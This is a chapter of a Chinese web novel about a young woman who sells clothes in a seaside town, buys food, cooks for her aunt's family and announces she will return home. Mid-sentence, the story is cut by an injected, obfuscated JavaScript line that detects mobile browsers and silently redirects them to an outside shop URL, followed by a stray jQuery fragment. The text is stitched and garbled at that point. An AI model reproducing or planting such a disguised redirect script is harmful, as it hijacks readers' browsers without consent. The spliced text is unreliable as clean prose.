鱼头村离镇上很近,说是个镇,实际并不多大。就像鱼头村连着鱼肚村和鱼尾村,也只有大约五十户人家。
两个人一路走着,约莫半个时辰便到了地方。
宽阔的街道在中间铺展伸长,供神色各异的人来来往往。街道两边商铺林立,售卖各色南北来货,倒显现出许多繁华。
越长照无心街上的热闹,她只大概看了一眼,便攥紧海月的手,直直冲着目的地走去。
“走一走,瞧一瞧。临州新到的绸布嘞!”成衣铺子门口,妇人正大声吆喝着。目光一转,便看见有人快步走来。
妇人大喜,招呼声脱口而出:“越姑娘,新到了批料子,可要看看?”
话刚说完,她便意识到不妥之处。正尴尬着想说些什么,越长照已经走到跟前。
“齐娘子近日安好?”
妇人扯出笑来:“安好安好,越姑娘可还好?”
越长照点头:“不是很好。”
“那就好,那就……?”
字音只落了一半,妇人的嘴巴便不动了,像是被卡住一般。
海月看看两人,不明白发生了什么,她脑袋一转,便从怀里抓出东西,踮着脚高高举到店主嘴边,“阿婶吃果子。”
妇人下意识合上嘴,等酸甜味冲上脑门后,才反应过来。
她尴尬一笑,“哟,这是哪家的娃娃,真是可人疼。”
越长照不想过多寒暄,她开门见山问:“年前我买的织锦裙还有罗袖裙,能再卖给您吗?”
“是是,织锦裙和罗袖裙还卖……什么?!!”齐娘子赶紧咽下蜜饯,不可置信地问,“你是说把衣裳卖给我?”
“嗯,”越长照开口解释,“这衣裳统共只穿过两回,成色几乎没变,不妨碍别人穿。”
“这…卖出去的衣裳哪有再买回来的道理?”齐娘子皱紧眉头,带着满脸的难色,说道,“越姑娘,我这铺子开了几十年,从来也没这样……”
“一半,”越长照打断她的话,“只需原来价钱的一半,您买吗?”
“哎,哎呀!”齐娘子的眉头一下就松开了,她伸手便拉住人往里走,语气也真切起来,“越姑娘从前多有光顾,这生意自然是做得!”
见两人往里走,海月赶紧把果子塞进嘴里,一把抓住齐娘子的衣摆,也跟着进去了。
里屋,长桌旁。
齐娘子将两套衣裙展开,银簪也摆在一旁,仔细看了又看,里外共检查十几遍,才停下手。
“这簪子和衣裳……成色确实不错。”她下了评判后开始计算,两件衣裳卖价是八百文钱,半价收回,就只需四百文钱。可这衣裳新,便是按原价折上两成,也好卖得紧。银簪更是不用说,款式别致,做工精细,根本不愁卖不出去,这笔生意又赚到了!
算盘厘清后,她又问了一遍:“越姑娘当真要卖?”
越长照依旧点头,眼里没有半分犹豫。齐娘子见此也不磨蹭,转头拿了钱匣,便开始数。
半晌,一两并五串铜钱便递到越长照手上。齐娘子道:“越姑娘数数?”
倒是不用再数,她亲眼跟着人数了好几遍,自然知道分文不差。
幸好冬日里衣裳厚实,越长照将铜钱串绑在胳膊上,看起来也不算奇怪。她起身拉着海月,道:“齐娘子的人品,长照自然信得过。今日劳您操累,就不多打搅了。”
“越姑娘慢走!往后若有需要,多来照顾照顾生意!”
待出了铺子,日头已快到顶处。想来宋安顺应该卖完渔获,和海云回家去了。只是……
她低头问:“你阿娘什么时辰回家?”
海月想了想,又摇摇头,“阿娘早上回来,下晌回来,晚上也回来。”
越长照记得李水兰在食铺里做活,只是却听不明白,这话是什么意思。
她和海月大眼瞪小眼好一会儿,终于决定放弃,将人调了方向后,说:“走,咱们去买吃的。”
因着靠海,塘口镇的码头常有客商停靠,船只进进出出,看守人吆喝不断,力工们行走在其间,不停装卸货物。
海边多是盐碱地,几乎没有种粮食的地方。大多数食材都要靠商船运进来,因而物价并不便宜。
鱼市是塘口镇另一处热闹的地方,离码头很近。不过说是鱼市,实际上其他食材也都在这边卖。
越长照领着海月,一路挑挑拣拣,穿过各个小摊。此时快到吃饭的点,菜摊上可选择的食材已经不多,鱼腥气却不断飘出。
她迅速买下鸡蛋和豆腐,准备搭配海蛎子吃。路过肉铺时,又割了两条肥瘦相间的好肉,用来当做谢礼。现下时节,气温约莫只有十几度,猪肉即便放到晚上,也不会坏了去。
买完所需物品后,一大一小手上都拎满东西。海月简直瞪大了眼,阿姐买这样多吃的,不会被阿娘揍吗?
越长照花完一百多文钱,觉得身上都轻省许多。不过她个子高,力气又大,提着许多东西也不会累着。
“海月,咱们回家!”她道。
今天是难得的好天气,日光照得人暖洋洋的,海风也轻柔地刮。
两人无视一路上的目光,等走到家门口时,果然见着敞开的门。
“阿姐!爹爹!”海月喊道。
“在呢!”屋里有人应声。
“长照姐姐买了好多东西呀!”小姑娘忍不住跑进去,将手里的东西展示出来。
海云刚淘洗完海蛎子,一回头就看见大包堆着小包。她有些惊慌,“阿姐买了这样多肉?”
越长照点头,“给程家做谢礼用的,姨父可在家?”
“今日天气好,阿爹去岸口晒船了,”她赶紧擦干手,站起身,“我去喊他回来。”
“先不急。”越长照想了想,海边离程家近,来回跑两趟也是麻烦。
她把东西拎进灶房,将鸡蛋和猪肉分成两份,一份包好放进提篮。
“昨日闹了乌龙,我不好再去程家。劳烦你让姨父代我给程家道个谢。”
海云提着东西出了门。院子里,海月又将掉地的咸鱼捡起,换上草绳后,再挂起来。
越长照看着排排咸鱼,仿佛苦咸味再次冲上脑门。想到海云说李水兰下晌就能回来,她决定亲自做顿饭。
“海月,帮阿姐做饭。”
灶房里的厨
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17792234|210429||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
具摆放得清楚,随手便能拿到。越长照从橱柜里拿出调味料,又捏了把干菌子和干海菜泡上。
切豆腐,切猪肉,再切上许多葱姜蒜。一番动作下来,越长照终于找回手感。
快速把海蛎肉剥好后,再洒上几撮面粉,将黏液揉洗干净,又倒上酱油腌制。
“刺啦”一声,油脂将葱蒜爆出香气,越长照不慌不忙倒入豆腐,有节奏地翻炒着。
各种香气均匀混合,海月无意识吞了下口水。
越长照往锅里倒上水,又轻轻推搅一番。等“咕嘟咕嘟”声响起时,大半的海蛎子便被倒进去。不多久,海蛎豆腐汤就做好了。
她随手擦去额间冒出的汗,又将猪肉下锅,慢慢煸出油脂,再捞出菌子一起炒,小屋里香气愈发浓郁。
日头西落,鱼头村家家户户都飘出饭香。
宋家小院,李水兰看着面前的三菜一汤,心绪十分复杂。片刻后,她将心思撇到一边,笑着开口:“这猪肉可是馋人,咱们吃饭!”
猪肉炒菌子,海蛎蒸鸡蛋,再搭着凉拌海菜,配上鲜嫩的豆腐汤……一顿饭下来,五个人都吃得心满意足。
做饭的人不洗碗,越长照心安理得的消着食,心里也不停琢磨等会儿要说的话。
半晌后,她走进里屋。屋门虚掩着,越长照刚要敲门时,里面的人开口了。
“咱家是穷了些,可长照还是养得起的,”李水兰语气坚定,“明日我找李福来说说,若能涨些工钱,日子倒也过得下去。”
“近日天气好,我多出两趟海,”宋安顺附和,“客商快来了,我去码头扛包也能挣上些。”
“重活伤身子,咱家还没到这地步呢。”李水兰一口否决。
“呵呵,”宋安顺憨笑着,转过话题,“长照托我给程家送了谢礼,这丫头实诚,猪肉和鸡蛋买得足,李婶子和程山非是不收,我可是费了番功夫才送出去。”
“不过,程山这小子可是厉害!”他语气高了些,用手比划着,“这样大的青蟹,他竟抓到五只!还有那鳗鱼,也被他逮了条,这一早上可不少挣。”
“竟还逮到鳗鱼了?”李水兰有些惊讶,鳗鱼可不好抓呢。
“不过也是,李婶子水性好,有能耐。程山是随了她,讨海,下水样样都行。就是可惜……”
李水兰语气一顿,微微叹了口气,”不说这些了,等明日我找李福来好好说说。“
屋里两人又说起别的,越长照心思转动间,又后退到门外。片刻后,她故意发出些声响,才敲了门。
“姨母。”她喊道。
“来了来了。”李水兰应了句,随即脚步声响起,而后“吱呀”一声,门便开了。
“怎么了?”她细声问。
“姨母,我明日便回家里去。”
“回家?”李水兰愕然,下意识抓住越长照的手,“长照啊,以后这里就是你的家。我和你姨父养得起你!”
越长照抿抿嘴,决定换个说辞,“阿爹和阿娘都在家里,我想陪在他们身边。”
李水兰摇着头,面露哀色,“长照,你是不是还在怪我?你是不是不打算原谅我了?”